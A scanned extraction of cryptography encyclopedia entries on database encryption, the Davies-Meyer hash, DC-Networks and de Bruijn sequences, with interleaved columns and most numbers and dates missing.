INRIA Rocquencourt, Le Chesnay, France ing the information hidden to any unauthorized persons
(e.g., intruders). Even if attackers get through the fire-
wall and bypass access control policies, they still need the
Related Concepts
encryption keys to decrypt data.
Hardware Security Module
Encryption can provide strong security for data at
rest, but developing a database encryption strategy must
D
Denition
take many factors into consideration. For example, where
Database encryption refers to the use of encryption tech-
should the encryption be performed, in the storage layer,
niques to transform a plain text database into a (partially)
in the database, or in the application where the data has
encrypted database, thus making it unreadable to anyone
been produced? How much data should be encrypted to
except those who possess the knowledge of the encryption
provide adequate security? What should be the encryption
key(s).
algorithm and mode of operation? Who should have access
to the encryption keys? How to minimize the impact of
Theory database encryption on performance?
Database security encompasses three main properties:
confidentiality, integrity, and availability. Roughly speak- Encryption Level
ing, the confidentiality property enforces predefined Storage-level encryption amounts to encrypt data in the
restrictions while accessing the protected data, thus pre- storage subsystem and thus protects the data at rest
venting disclosure to unauthorized persons. The integrity (e.g., from storage media theft). It is well suited for encrypt-
property guarantees that the data cannot be corrupted in ing files or entire directories in an operating system
an invisible way. Finally, the availability property ensures context. From a database perspective, storage-level encryp-
timely and reliable access to the database. tion has the advantage to be transparent, thus avoiding
To preserve data confidentiality, enforcing access con- any changes to existing applications. On the other side,
trol policies defined on the database management system since the storage subsystem has no knowledge of database
(DBMS) is a prevailing method. An access control policy, objects and structure, the encryption strategy cannot be
that is to say a set of authorizations, can take different forms related with user privileges (e.g., using distinct encryp-
depending on the underlying data model (e.g., relational, tion keys for distinct users) nor with data sensitivity. Thus,
XML), and the way by which authorizations are admin- selective encryption i.e., encrypting only portions of
istered, following either a Discretionary Access Control the database in order to decrease the encryption over-
(DAC), Role-Based Access Control (RBAC), or Mandatory head is limited to the file granularity. Moreover, selec-
Access Control (MAC). tively encrypting files is risky since one should ensure that
Whatever the access control model, the authoriza- no replica of sensitive data remains unencrypted (e.g., in
tions enforced by the database server can be bypassed in log files, temporary files, etc).
a number of ways. For example, an intruder can infil-
trate the information system and try to mine the database Database-level encryption allows securing the data as it
footprint on disk. Another source of threats comes from is inserted to or retrieved from the database. The encryp-
the fact that many databases are today outsourced to tion strategy can thus be part of the database design and
Database Service Providers (DSP). Then, data owners have can be related with data sensitivity and/or user privi-
no other choice than trusting DSPs arguing that their sys- leges. Selective encryption is possible and can be done at
tems are fully secured and their employees are beyond any various granularities, such as tables, columns, and rows.
suspicion, an assumption frequently denied by facts []. It can even be related with some logical conditions (e.g.,
Finally, a database administrator (DBA) has enough privi- encrypt salaries greater than Ke/month). Depending on
leges to tamper the access control definition and to spy on the level of integration of the encryption feature and the
the DBMS behavior. DBMS, the encryption process may incur some changes
With the spirit of an old and important principle called to applications. Moreover, it may cause DBMS perfor-
defense in depth (i.e., layering defenses such that attackers mance degradation since encryption generally forbids the
must get through layer after layer of defense), the resort to use of indexes on encrypted data. Indeed, unless using
D Database Encryption
Data Application
Application Application
Keys Encrypt/Decrypt
Client Client Client
RAM RAM RAM
Data DBMS engine

Data DBMS engine DBMS engine
Storage layer
Storage layer Storage layer
Server Server Server

RAM RAM RAM
Encrypted data Encrypted data Encrypted data
a Database server b Database server c Database server
Database Encryption. Fig. Three options for database encryption level (a) Storage-level encryption (b) Database-level encryp-
tion (c) Application-level encryption
specific encryption algorithms or mode of operation (e.g., like stored procedures (i.e., code stored in the DBMS which
order preserving encryption, ECB mode of operation pre- can be shared and invoked by several applications) and
serving equality, see below), indexing encrypted data is triggers (i.e., code fired when some data in the database are
useless. modified). In terms of granularity and key management,
For both strategies, data is decrypted on the database application-level encryption offers the highest flexibility
server at runtime. Thus, the encryption keys must be trans- since the encryption granularity and the encryption keys
mitted or kept with the encrypted data on the server side, can be chosen depending on application logic.
thereby providing a limited protection against the server The three strategies described above are pictured
administrator or any intruder usurping the administra- in Fig. .
tor identity. Indeed, attackers could spy the memory and
discover encryption keys or plain text data.
Encryption Algorithm and Mode
of Operation
Application-level encryption moves the encryption/ Independently of the encryption strategy, the security of
decryption process to the applications that generate the the encrypted data depends on the encryption algorithm
data. Encryption is thus performed within the application and mode of operation, the encryption key size, and its
that introduces the data into the system, the data is sent protection. Even having adopted strong algorithms, such
encrypted, thus naturally stored and retrieved encrypted as advanced encryption standard (AES), the cipher text
[, , ], to be finally decrypted within the application. could still disclose plain text information if an inappropri-
This approach has the benefit to separate encryption keys ate mode is chosen. For example, if encryption algorithm
from the encrypted data stored in the database since the is implemented in electronic codebook mode (ECB), iden-
keys never have to leave the application side. However, tical plaintext blocks are encrypted into identical cipher
applications need to be modified to adopt this solution. text blocks, thus disclosing repetitive patterns. In database
In addition, depending on the encryption granularity, the context, repetitive patterns are common as many records
application may have to retrieve a larger set of data than could have same attribute values, so much care should
the one granted to the actual user, thus opening a secu- be taken when choosing the encryption mode. More-
rity breach. Indeed, the user (or any attacker gaining over, simple solutions that may work in other contexts
access to the machine where the application runs) may (e.g., using counter mode with an initialization vector
hack the application to access unauthorized data. Finally, based on the data address) may fail in the database one
such a strategy induces performance overheads (index on since data can be updated (with the previous example,
encrypted data is useless) and forbids the use of some performing an exclusive OR between old and new version
advanced database functionalities on the encrypted data, of encrypted data will disclose the exclusive OR between
old and new version of plain text data). All the specifici- key) and removed from the server memory as soon as
ties of the database context should be taken into account the cryptographic operations are performed, as shown in
to guide the choice of an adequate encryption algorithm Fig. a.
and mode of operation: repetitive patterns, updates, huge An alternative solution is to move security-related
volume of encrypted data. Moreover, the protection should tasks to distinct software running on a (physically) dis-
be strong enough since the data may be valid for a very tinct server, called security server, as shown in Fig. b.
long time (several years). Thus, state-of-the-art encryption The security server then manages users, roles, privileges,
algorithm and mode of operation (without any concession) encryption policies, and encryption keys (potentially rely-
should be used. ing on an HSM). Within the DBMS, a security module
communicates with the security server in order to authen-
D
Key Management ticate users, check privileges, and encrypt or decrypt data.
Key management refers to the way cryptographic keys Encryption keys can then be linked to user or to users
are generated and managed throughout their life. Because privileges. A clear distinction is also made between the
cryptography is based on keys that encrypt and decrypt role of the DBA, administering the database resources, and
data, the database protection solution is only as good the role of the SA (Security Administrator), administering
as the protection of the keys. The location of encryp- security parameters. The gain in confidence comes from
tion keys and their access restrictions are thus particularly the fact that an attack requires a conspiracy between DBA
important. Since the problem is quite independent of the and SA.
encryption level, the following text assumes database-level While adding a security server and/or HSM mini-
encryption. mizes the exposure of the encryption keys, it does not fully
For database-level encryption, an easy solution is to protect the database. Indeed, encryption keys as well as
store the keys in a restricted database table or file, poten- decrypted data still appear (briefly) in the database server
tially encrypted by a master key (itself stored some- memory and can be the target of attackers.
where on the database server). But all administrators
with privileged access could also access these keys and Applications
decrypt any data within the system without ever being Since several years, most DBMS manufacturers pro-
detected. vide native encryption capabilities that enable applica-
To overcome this problem, specialized tamper-resistant tion developers to include additional measures of data
cryptographic chipsets, called hardware security module security through selective encryption of stored data. Such
(HSM), can be used to provide secure storage for encryp- native capabilities take the form of encryption toolk-
tion keys [, ]. Generally, the encryption keys are stored its or packages (Oraclei/i []), functions that can be
on the server encrypted by a master key which is stored in embedded in SQL statements (IBM DB []), or exten-
the HSM. At encryption/decryption time, encrypted keys sions of SQL (Sybase [] and SQL Server []). To
are dynamically decrypted by the HSM (using the master limit performance overhead, selective encryption can be
Application Application
Client Client
RAM RAM
Data Master Data DBMS engine

DBMS engine
Keys key Security engine
Keys
Keys Security module
Enc/Dec
Keys Keys
Key

Server Hardware Server users, user
RAM security RAM privileges,
Encrypted data module Encrypted data encryption keys
a Database server b Database server Security server
Database Encryption. Fig. Key management approaches (a) HSM Approach (b) Security Server Approach
D Database Encryption
generally done at the column level but may involve chang- operations on the plaintext by performing (possibly differ-
ing the database schema to accommodate binary data ent) algebraic operations on the cipher text. The first appli-
resulting from the encryption process []. cation of PH to aggregation queries in relational databases
SQL Server [] introduces transparent data is exploited in [], but this homomorphic encryption
encryption (TDE) which is actually very similar to storage- function is insecure against cipher-text-only attacks. In
level encryption. The whole database is protected by a sin- [], it supports complex aggregate queries and nested
gle key Database Encryption Key (DEK), itself protected queries, but this scheme may reveal information about
by more complex means, including the possibility to use the input distribution, which can be exploited. Order pre-
HSM. TDE performs all of the cryptographic operations at serving encryption scheme (OPES) [] allows building
the I/O level, but within the database system, and removes directly indexes on cipher text. OPES can handle, with-
any need for application developers to create custom code out decryption, any interesting SQL query types. Unfor-
to encrypt and decrypt data. tunately, OPES has been shown to be insecure in []
TDE (same name as SQL server but different func- and their authors introduced the fast comparison encryp-
tionalities) has been introduced in Oracleg/g, greatly tion (FCE) scheme for the database-level encryption strat-
enlarging the possibilities of using cryptography within the egy. FCE can be used for fast comparison through partial
DBMS []. Encryption keys can now be managed by an decryption technique. It encrypts plain text byte by byte
HSM or be stored in an external file named wallet which allowing fast comparison starting from the most signifi-
is encrypted using an administratively defined password. cant byte and stopping as soon as a difference is found.
Selective encryption can be done at column granularity An alternative proposal is to use classical encryption
or larger (table space, i.e., set of data files corresponding algorithms and to store additional auxiliary fuzzy informa-
to one or several tables and indexes). To avoid the anal- tion, next to the cipher text, in order to allow partial query
ysis of encrypted data, Oracle proposes to include in the processing on encrypted data [, ]. Such auxiliary infor-
encryption process a Salt, a random bytes string stored mation shouldnt reveal plain text content, thus a trade-off
with each encrypted attribute value. An interesting, but exists between security and efficiency: increasing the pre-
rather dangerous feature is the possibility to use encryp- cision of auxiliary information increases the performance
tion mode that preserves equality (typically a CBC mode since more processing can be done on encrypted data, but
with a constant initialization vector), thus allowing, for it also increases the risk of data disclosure.
instance, to use indexes for equality predicates encrypting
the searched value. New Database Encryption Strategies
The database-level encryption with security server Currently existing architecture including database encryp-
approach mentioned above is proposed by IBM DB tion is not fully satisfactory since, as mentioned above,
with the Data Encryption Expert (DEE []) and by encryption keys appears in plain text in the RAM of the
third-party vendors like Protegrity [], RSA BSAFE [], server or of the client machine where the application runs.
and SafeNet [] (appliance-based solution). The third- HSM acts as a safe storage to minimize the risk, diminish-
party vendors products can adapt to most DBMS engine ing the keys exposure during its lifetime. Research is being
(Oracle, IBM DB, SQL Server, and Sybase). conducted to make a better use of HSM, avoiding exposing
encryption keys during the whole process. Two architec-
tures can be considered: server-HSM, when the HSM is
Open Problems and Future Directions shared by all users and is located on the server; client-
Encryption Scheme HSM, when the HSM is dedicated to a single user and is
While all existing commercial database products adopt located near the user, potentially on the client machine.
classical encryption algorithms for database encryption, These two architectures are pictured in Fig. .
specific encryption schemes have attracted much atten- Logically, the server-HSM is nothing more than a
tion in the academic field, specifically in the Database as database-level encryption with a security server embed-
a Service paradigm. In this paradigm, database service ded in the HSM. The HSM now manages users, priv-
providers offer their customers seamless mechanisms to ileges, encryption policies, and keys. It has the same
create, store, and access their databases at the host site []. advantages as the database-level encryption with security-
In this context, the database server may manage encrypted server approach but does not expose encryption keys at
data without having access to the encryption keys (similar any moment (since encryption/decryption is done within
to application-level encryption). the HSM). Moreover, the security server cannot be tam-
Privacy homomorphic (PH) encryption is a form of pered since it is fully embedded in the tamper-resistant
encryption where one can perform some specific algebraic HSM. With this approach, the only data that appears in
Application Data Application HW Security Module

Access control
Client Client
RAM RAM Data Encrypt/Decrypt
Data HW Security Module
DBMS engine
Access control users, user
privileges,
Data Encrypt/Decrypt DBMS engine encryption keys

Server users, user Server D
privileges,
RAM RAM
Encrypted data encryption keys Encrypted data
a Database server b Database server
Database Encryption. Fig. HSM-based new database encryption strategies (a) Server-HSM (b) Client-HSM
plain text is the query results that are delivered to the Using cryptographic techniques as-is to provide the
users. The main difficulty of this approach is its complex- aforementioned guarantees has a large negative impact on
ity, since a complex piece of software must be embedded the database size (e.g., a bytes MAC is added to each
in an HSM with restricted computation resources (due to encrypted attribute value in Oracle g TDE to ensure
security constraints). data authenticity) and on the database performance, thus
While the client-HSM approach seems very similar to motivating many ongoing research on those topics. For
the server-HSM one and brings the same benefit in terms instance, in the Database as a Service (DAS) context [],
of security, it poses several new challenges. Indeed, the as MHT imposes severe concurrency constraints that slow
HSM is now dedicated to a single user and is potentially far down data updates, a new signature-based authentica-
from the server, thus making difficult any tight cooperation tion method has been introduced recently for checking
between the database server and the HSM. Thus, the the authenticity, completeness, and freshness of query
database server must work on encrypted data and pro- answers []. In addition, some probabilistic approaches
vide to the HSM a super-set of the query results, decrypted are also used to provide integrity assurance for outsourced
and filtered in the HSM. Despite these difficulties, since database [].
the HSM is dedicated to a single user, the embedded
code is simpler and less resource demanding, making this Recommended Reading
approach practical []. . Hacigms H, Iyer B, Li C, Mehrotra S () Providing
database as a service. In: International conference on data
engineering (ICDE). IEEE Computer Society, Washington, DC,
Other Security Issues
pp
Encrypting the data only guarantees data confidentiality, . Agrawal R, Kiernan J, Srikant R, Yirong Xu () Hippocratic
but gives no assurance on data integrity, i.e., on the fact databases. In: Proceedings of the th international conference
that the data has not been illegally forged or modified on Very Large Data Bases. Morgan Kaufmann, pp
(authenticity), or replaced by older versions (freshness). . Damiani E, De Capitani Vimercati S, Jajodia S, Paraboschi S,
Samarati P () Balancing confidentiality and efficiency in
In addition, if the database server is untrusted (e.g., it
untrusted relational dbms. In: Proceedings of the th ACM
may have been tampered by attackers), one should check conference on computer and communications security. ACM,
the query results correctness (results correspond to the New York, pp
query specification) and completeness (no query result is . Bouganim L, Pucheral P () Chip-secured data access:
missing). confidential data on untrusted servers. In: Proceedings of the
th international conference on very large data bases. Morgan
Cryptographic techniques and, more specifically, cryp-
Kaufmann, pp
tographic hash functions are important components . Hsueh S () Database encryption in SQL server enter-
for building integrity checking techniques. Typically, prise edition. SQL server technical article, . December ,
Message Authentication Code (MAC) can be used to . http://msdn.microsoft.com/en- us/library/cc.aspx
ensure data authenticity and, when combined with . Oracle Corporation () Oracle advanced security transpar-
ent data encryption best practices. White Paper,
Merkle Hash Tree (MHT), can bring proofs of correct-
. Oracle Corporation () Database encryption in Oraclei.
ness and completeness []. Ensuring freshness is more White Paper,
complex since an element of trust is needed to keep infor- . IBM corporation () IBM database encryption expert: secur-
mation about the current version of each data. ing data in DB,
D DaviesMeyer
. Sybase Inc () Sybase adaptive server enterprise encryp- where the length in bits of the hash result is equal to the
tion option: protecting sensitive data, . December , . block length of the block cipher. The compression function
http://www.sybase.com
encrypts the chaining value with as key a message block,
. Mattsson U () Transparent encryption and separation
of duties for enterprise databases: a practical implementa-
and xors the chaining value to the resulting ciphertext.
tion for field level privacy in databases. Protegrity Technical
Paper. . December , . http://www.protegrity.com/ Background
whitepapers
This construction attributed to Davies by Winternitz [, ],
. RSA Security company () Securing data at rest: developing
a database encryption strategy. Whiter Paper, and to Meyer by Davies []. Davies has confirmed in a
. Safenet () Database encryption, . December , personal communication to the author that he did not pro-
. http://www.safenet- inc.com/products/data- protection/ pose the hash function, although he may have proposed the
database-protection/ compression function.
. Hacigumus H, Iyer BR, Mehrotra S, Effcient execution of aggre-
gation queries over encrypted relational databases. In: DASFAA.
Springer, pp Theory
. Chung SS, Ozsoyoglu G () Anti-tamper databases: process- The DaviesMeyer hash function is a cryptographic
ing aggregate queries over encrypted databases. In: Proceed- hash function that may have the following properties:
ings of the nd international conference on data engineering
preimage resistance, second preimage resistance, and
workshops. Washington, . IEEE, pp
. Agrawal R, Kiernan J, Srikant R, and Yirong Xu, Order pre- collision resistance; these properties may or may not be
serving encryption for numeric data. Proceedings of the achieved depending on the properties of the underlying
ACM SIGMOD international conference on management of block cipher.
data. ACM, New York, pp In the following, the block length and key length of the
. Ge T, Zdonik S () Fast, secure encryption for indexing in a
block cipher will be denoted with n and k, respectively. The
column-oriented dbms. IEEE rd international conference on
data engineering. . IEEE, pp encryption with the block cipher E using the key K will be
. Li F, Hadjieleftheriou M, Kollios G, Reyzin L () denoted with EK (.).
Dynamic authenticated index structures for outsourced The DaviesMeyer scheme is an iterated hash function
databases. Proceedings of the ACM SIGMOD interna- with a compression function that maps k + n bits to n bits:
tional conference on management of data. ACM, New York,
pp
Hi = EXi (Hi ) Hi . ()
. Pang H, Zhang J, Mouratidis K () Scalable verification
for outsourced dynamic databases. Proceedings of the th
international conference on very large data bases, . ACM,
By iterating this function in combination with MD-
pp strengthening (hash functions), one can construct a hash
. Xie M, Wang H, Yin J, Meng X () Integrity auditing of out- function based on this compression function; this hash
sourced data. Proceedings of the rd international conference function is known as the DaviesMeyer hash function.
on very large data bases, . ACM, pp
It has been shown by Black and Rogaway [] that in the
ideal cipher model, if k n, finding a (second) preim-
age requires approximately n encryptions, and finding a
collision requires approximately n/ encryptions.
DaviesMeyer In order to achieve an acceptable security level against
(nd) preimage attacks, the block length n needs to
Bart Preneel be at least bits (in ); for collision resistance,
Department of Electrical Engineering-ESAT/COSIC, the block length should be at least bits (in ).
Katholieke Universiteit Leuven and IBBT, This means that this scheme should not be used with
Leuven-Heverlee, Belgium -bit block ciphers (e.g., CAST-, DES, FEAL,
GOST, IDEA, KASUMI/MISTY); it should only be
used for (nd) preimage resistance with -bit block
ciphers (e.g., AES, Camellia, CAST-, MARS,
Related Concepts RC, TWOFISH, and SERPENT). Very few -bit
Hash Functions
block ciphers exist; one exception is the -bit version
of RC.
Denition It is also important to note that a block cipher may
The DaviesMeyer hash function is a construction for have properties which pose no problem at all when they
an iterated hash function based on a block cipher, are used only for encryption, but which may result in the
DC Network D
DaviesMeyer construction of the block cipher to be inse-

cure [, ]. A typical example are the complementation DC Network
property and weak keys of DES; it is also clear that the
DaviesMeyer construction based on DES-X is highly Gerrit Bleumer
insecure. The fact that the key is known to an opponent Research and Development, Francotyp Group,
may also result in security weaknesses (e.g., differential Birkenwerder bei Berlin, Germany
attacks of [] and known key attacks of []). Hirose defines
a block cipher secure against a known plaintext attack for Related Concepts
which the DaviesMeyer hash function is not nd preim-
age resistant [].
Anonymity; Recipient Anonymity; Sender Anonymity D
Since there are very few block ciphers with a - Denition
bit block length, the DaviesMeyer construction is rarely The DC-Network is an anonymous communication ser-
used to obtain collision resistant hash functions from vice between a number of participants who must be
standard block ciphers. However, this construction is connected by a physical communication network with a
very popular in custom-designed hash functions such as broadcast messaging service in place.
MD, MD, and the SHA family. Indeed, the com-
pression functions of these hash functions are designed
Background
using an internal block cipher structure; the compres-
The DC-Network is a synchronous network protocol by
sion functions are made non-invertible by applying
which the participants can broadcast messages anony-
the DaviesMeyer construction to these internal block
mously and unobservably (anonymity). A DC-Network
ciphers.
can achieve sender and recipient anonymity even against
computationally unrestricted attackers. The DC-Network
protocol itself requires a network with a broadcast service.
Recommended Reading It was invented by David Chaum in [] (hence the
. Black J, Rogaway P, Shrimpton T, () Blackbox analysis of name DC-Network) and was somewhat rediscovered by
the block-cipher-based hash-function constructions from PGV.
Dolev and Ostrovsky in []. Messages can be addressed
In: Yung M (ed) Advances in cryptology, proceedings Crypto.
LNCS, vol . Springer, pp to one or more intended participants by encrypting them
. Davies D, Price WL () Digital signatures, an update. In: with their respective public encryption keys.
Proceedings th international conference on computer commu-
nication, October , pp Theory
. Hirose S () Secure block ciphers are not sufficient for one-
way hash functions in the Preneel-Govaerts-Vandewalle model.
The basic DC-Network protocol allows one participant at a
In: Nyberg K, Heys HM (eds) Selected areas in cryptography. time to broadcast a message. In order to allow each partici-
LNCS, vol . Springer, pp pant to send at any time, the broadcast channel of the basic
. Knudsen LR, Rijmen V () Known-key distinguishers for DC-Network needs to be allocated in a randomized fash-
some block ciphers. In: Kurosawa K (ed) Advances in cryp- ion to all requesting senders. This can be achieved by well-
tology, proceedings Asiacrypt. LNCS, vol . Springer,
pp
known contention protocols such as (slotted) ALOHA [].
. Preneel B () Analysis and design of cryptographic hash Consider the basic DC-Network protocol of n partici-
functions. Doctoral Dissertation, Katholieke Universiteit Leuven pants: P , P , . . ., Pn . Messages are strings of k bits. As a
. Preneel B, Govaerts R, Vandewalle J () Hash functions preparation, all participants agree on pairwise symmetric
based on block ciphers: a synthetic approach. In: Stinson D (ed) keys, that is, randomly chosen bit strings of k bit length.
Advances in cryptology, proceedings Crypto. LNCS, vol .
Springer, pp
Let us denote the key between Pi and Pj as ki,j . Assume
. Rijmen V, Preneel B () Improved characteristics for differ- participant P wants to send a message m anonymously to
ential cryptanalysis of hash functions based on block ciphers. all other participants (anonymous broadcast). This can be
In: Preneel B (ed) Fast software encryption. LNCS, vol . achieved by the basic DC-Network protocol, which works
Springer, pp as follows:
. Winternitz RS () Producing a one-way hash function from
DES. In: Chaum D (ed) Advances in cryptology, proceedings Compute partial sums: Each participant Pi ( i n) com-
Crypto. Plenum Press, New York, pp putes the XOR sum si of all the keys ki,j ( j n) it has
. Winternitz RS () A secure oneway hash function built
from DES. In: Proceedings IEEE symposium on informa-
exchanged with each other participant Pj ( j i), such that
tion security and privacy, IEEE Computer Society Press, si = ji ki,j . Participant P also adds his message m into
pp his partial sum such that s = m + j ki,j .
D DC Network
Broadcast partial sums: Each participant Pi broadcasts its Less complete key graphs can be used in order to reduce
partial sum si . the amount of pairwise keys. On the other hand, the less
Compute global sum: Each participant Pi computes the complete the key graph is chosen, the more vulnerable
n n
global sum s = si = m + ki,j = m in order to recover the basic DC-Network protocol is against cheating partic-
i= i= ji ipants who may collude and exchange their views in and
the message m. Note that because ki,j = kj,i , all the keys after the basic DC-Network protocol in order to strip away
cancel out leaving only m standing out of the global sum. the honest participants anonymity. Collusions of cheat-
ing participants can be represented in the key graph by
The basic DC-Network protocol is computation- eliminating their mutual pairwise keys. That is if Pi , Pj are
ally efficient but requires n reliable broadcasts for each cheating, then we remove the key ki,j from the key graph,
message, and even more in case of resolving message col- which may lead to an unconnected graph. Any participant
lisions where two or more participants are sending their represented by an unconnected vertex is entirely stripped
messages in the same round. of its anonymity. Such a participant is fully observable by
The basic DC-Network protocol runs on any net- the collusion of cheating participants. It is worth noting
work architecture. If all participants are honest, everyone that the key graph can be chosen independently of the
obtains the message m. Chaum [] has proved that the underlying network topology (ring, star, bus, etc.).
basic DC-Network protocol achieves sender anonymity Waidner points out in [] that reliable broadcast is
and recipient anonymity even against computationally probably an unrealistic assumption because it cannot
unrestricted attackers. However, the proof for recipient be achieved by cryptographic means alone as there is
anonymity implicitly assumes that the partial sums are no byzantine agreement against computationally unre-
broadcast reliably, that is, each message of an honest stricted active attackers who may arbitrarily control many
participant is broadcast to all participants without being participants []. Furthermore, Waidner has shown how
modified []. to achieve recipient anonymity against computation-
DC-Network is the continued execution of the basic ally unrestricted active attackers by replacing the reliable
DC-Network protocol. In this case, unconditional sender broadcast by a fail-stop broadcast, where honest partic-
anonymity can be maintained only by using fresh pair- ipants stop as soon as they receive inconsistent inputs.
wise keys in each round, which is a similar situation as for Fail-stop broadcast can be realized by O(n) messages, each
the one-time pad (key). Waidner has proposed to choose signed by an unconditionally secure authentication code,
the pairwise keys for each round of the basic DC-Network or more efficiently by a fail-stop signature [].
protocol based on a pseudo-random number generator Compared to MIX-Networks, DC-Networks achieve
seeded with a selection of messages exchanged in previ- sender anonymity even against computationally unre-
ous rounds of the basic DC-Network protocol. This is more stricted active attackers, while MIX networks only achieve
practical, but results in sender anonymity that holds only sender anonymity against computationally restricted
against computationally restricted attackers []. attackers.
The core idea behind the DC-Network is to substan-
tially involve more participants in each communication Open Problems
than just the intended sender and recipient in order to con- Interestingly, no widely accepted formal definitions of
ceal their sending and receiving within the set of partici- sender and recipient anonymity in a network, that is, con-
pants. This approach introduces an inevitable vulnerability tinued transmission service, has come up yet. Thus, a fully
in case not all of the participants honestly follow the pro- formal treatment of DC-Network protocols is not possible
tocol. In fact, the service of a DC-Network can be easily to date. A new approach in this direction was proposed by
disrupted by one or more cheating participants, who either Schneider and Sidiropoulos [] based on the CSP process
stop sending their partial sums or sending wrong par- algebra (Communicating Sequential Processes).
tial sums or sending too many messages (denial-of-service
attack). Disruptions of the DC-Network have been consid- Recommended Reading
ered by Chaum [], Bos and den Boer [], and Waidner []. . Bos J, den Boer B () Detection of disrupters in the DC
The key graph of a DC-Network is the graph where each protocol. In: Quisquater J-J, Vandewalle J (eds) Advances in
participant is represented by a vertex and each pairwise key cryptology: EUROCRYPT. Lecture notes in computer sci-
ki,j is represented by an edge connecting the vertices rep-
. Chaum D () Untraceable electronic mail, return addresses,
resenting Pi and Pj . If the key graph is complete as in the and digital pseudonyms. Commun ACM ():
example above, no coalition of non-senders except all of . Chaum D () Showing credentials without identification
them together gains any information about who sent m. signatures transferred between unconditionally unlinkable
De Bruijn Sequence D
pseudonyms. In: Pichler F (ed) Advances in cryptology: The result was, however, first obtained more than years
EUROCRYPT. Lecture notes in computer science, vol . earlier in by the French mathematician C. Flye-Sainte
Marie.
. Chaum D () The dining cryptographers problem: Uncondi-
tional sender and recipient untraceability. J Cryptol ():
For most applications, binary de Bruijn sequences
. Dolev S, Ostrovsky R () Efficient anonymous multicast are the most important. The number of binary de
Bruijn sequences of period n is n . An exam-
n
and reception. In: Kaliski BS (ed) Advances in cryptology:
CRYPTO. Lecture notes in computer science, vol . ple of a binary de Bruijn sequence of period = is
. Lamport L, Shostak R, Pease M () The Byzantine Generals
{st } = . All binary -tuples occur exactly
problem. ACM Trans Program Lang Syst (): once during a period of the sequence. In general, D
. Schneider S, Sidiropoulos A () CSP and anonymity. In: binary de Bruijn sequences are balanced, containing the
Lotz V (ed) ESORICS (th European symposium on research same number of zeros and ones in a period, and they satisfy
in computer security), Rome. Lecture notes in computer science, many randomness criteria, although they may be gener-
. Tanenbaum AS () Computer networks, nd edn. Prentice-
ated using deterministic methods. They have been used as
Hall, Englewood Cliffs a source of pseudo-random numbers and in key-sequence
. Waidner M () Unconditional sender and recipient untrace- generators of stream ciphers.
ability in spite of active attacks. In: Quisquater J-J, Vandewalle J A de Bruijn sequence can be generated by a nonlinear
(eds) Advances in cryptology: EUROCRYPT. Lecture notes feedback function in n-variables (see []). From the initial
. Waidner M, Pfitzmann B () The dining cryptographers in
state (s , s , . . . , sn ) and a nonlinear Boolean function
the disco: Unconditional sender and recipient untraceability f (z , z , . . . , zn ) one can generate the sequence
with computationally secure serviceability. In: Quisquater J-J,
st+n = f (st , st+ , . . . , st+n ), for t = , , , . . . .
Vandewalle J (eds) Advances in cryptology: EUROCRYPT.
Lecture notes in computer science, vol . Springer, Berlin, This can be implemented using an n-stage nonlinear shift
p register (see non-linear feedback shift register). For exam-
ple the binary de Bruijn sequence above of period =
can be generated by st+ = f (st , st+ , st+ , st+ ), using the
DDH Problem initial state () and the Boolean function
f (z , z , z , z ) = + z + z + z z z .
Decisional Diffie-Hellman Problem
The binary de Bruijn graph Bn of order n is a directed
graph with n nodes, each labeled with a unique binary
n-tuple and having an edge from node S = (s , s , . . . , sn )
De Bruijn Sequence to T = (t , t , . . . , tn ) if and only if (s , s , . . . , sn ) =
(t , t , . . . , tn ). The successive n-tuples in a de Bruijn
Tor Helleseth sequence therefore form a Hamiltonian cycle in the de
The Selmer Center, Department of Informatics, Bruijn graph, meaning that a full cycle visits each node
University of Bergen, Bergen, Norway exactly once.
There are many algorithms for constructing de Bruijn
Related Concepts sequences. The following is perhaps one of the easiest to
Boolean Functions; Linear Complexity; Sequences; describe. Start with n zeros and append a one whenever the
Maximal-Length Linear Sequences; Nonlinear Feed- n-tuple thus formed has not appeared in the sequence so
back Function far, otherwise append a zero. The sequence of length =
above is an example of a de Bruijn sequence constructed
Denition in this way. It is known that the decision of which bit to
A k-ary de Bruijn sequence of order n is a sequence of select next can be based on local considerations and storage
period kn , which contains each k-ary n-tuple exactly once requirements can be reduced to only n bits.
during each period. Any Boolean function f such that the mapping
(z , z , . . . , zn ) (z , z , . . . , zn , f (z , z , . . . , zn ))
is a permutation of the set of binary n-tuples is called
De Bruijn sequences are named after the Dutch math-
a nonsingular Boolean function. It can be written in the
ematician Nicholas de Bruijn. In , he discovered a
form,
formula giving the number of k-ary de Bruijn sequences of
n n
order n, and proved that it is given by ((k)!)k kk n . f (z , z , . . . , zn ) = z + g(z , z , . . . , zn ) (mod ).
D Decentralized Trust Management
The truth table of a Boolean function f (z , z , . . . , zn ) is for a de Bruijn sequence, the truth table of g has odd
a list of the values of f (z , z , . . . , zn ) for all binary n- weight. It is further known that for a de Bruijn sequence,
tuples. The weight of the truth table of f is the number of the weight w of the truth table of g obeys
ones in this list. n
Z(n) w Z (n) + .
Large classes of de Bruijn sequences can be con-
structed by starting with a nonsingular Boolean func- The lower bound can be achieved by starting with the PCR
tion f that decomposes the de Bruijn graph into several and joining cycles one at a time until one arrives at a de
shorter disjoint cycles and then joining the cycles one by Bruijn sequence. Each joining step will in this case increase
one until one arrives at a de Bruijn sequence. To join the weight of the truth table of g by . Similarly one can
two cycles, one can find an n-tuple (z , z , . . . , zn ) on a construct de Bruijn sequences of maximal weight by start-
cycle (where (z , z , . . . , zn , f (z , z , . . . , zn )) is on the ing with the CCR and joining the cycles one by one; each
same cycle) and (z , z , . . . , zn , + f (z , z , . . . , zn )) on joining step will in this case reduce the weight of the truth
a different cycle. Then the two cycles will be joined after table of g by . For values n < the number of de Bruijn
changing(complementing) g(z , z , . . . , zn ) (leading to sequences of each possible weight of the truth table of g
two changes of the truth table of f ). One common start- is known. An excellent survey of de Bruijn sequences is
ing function is the nonsingular function correspond- given in [].
ing to g = , i.e., f (z , z , . . . , zn ) = z , that is known to
decompose Bn into the pure circulating register(PCR), Recommended Reading
consisting of all cycles of period dividing n. This is . Fredricksen H () A survey of full length nonlinear shift
known to contain Z(n) = n dn (d)n/d cycles, where register cycle algorithms. SIAM Rev ():
(n) = {i i < n, gcd (i, n) = }. For n = the PCR con- . Golomb SW () Shift register sequences. Holden-Day series
in information systems. Holden-Day, San Francisco, Revised ed.,
sists of the cycles (), (), (), (), (), ().
Aegean Park Press, Laguna Hills,
Another popular starting function is the complemen- . Golomb SW, Gong G () Signal design for good correlation
tary circulating register (CCR) corresponding to g = , i.e., for wireless communication, cryptography, and radar. Cambridge
f (z , z , . . . , zn ) = z + (mod ). This is known to con- University Press, Cambridge, p
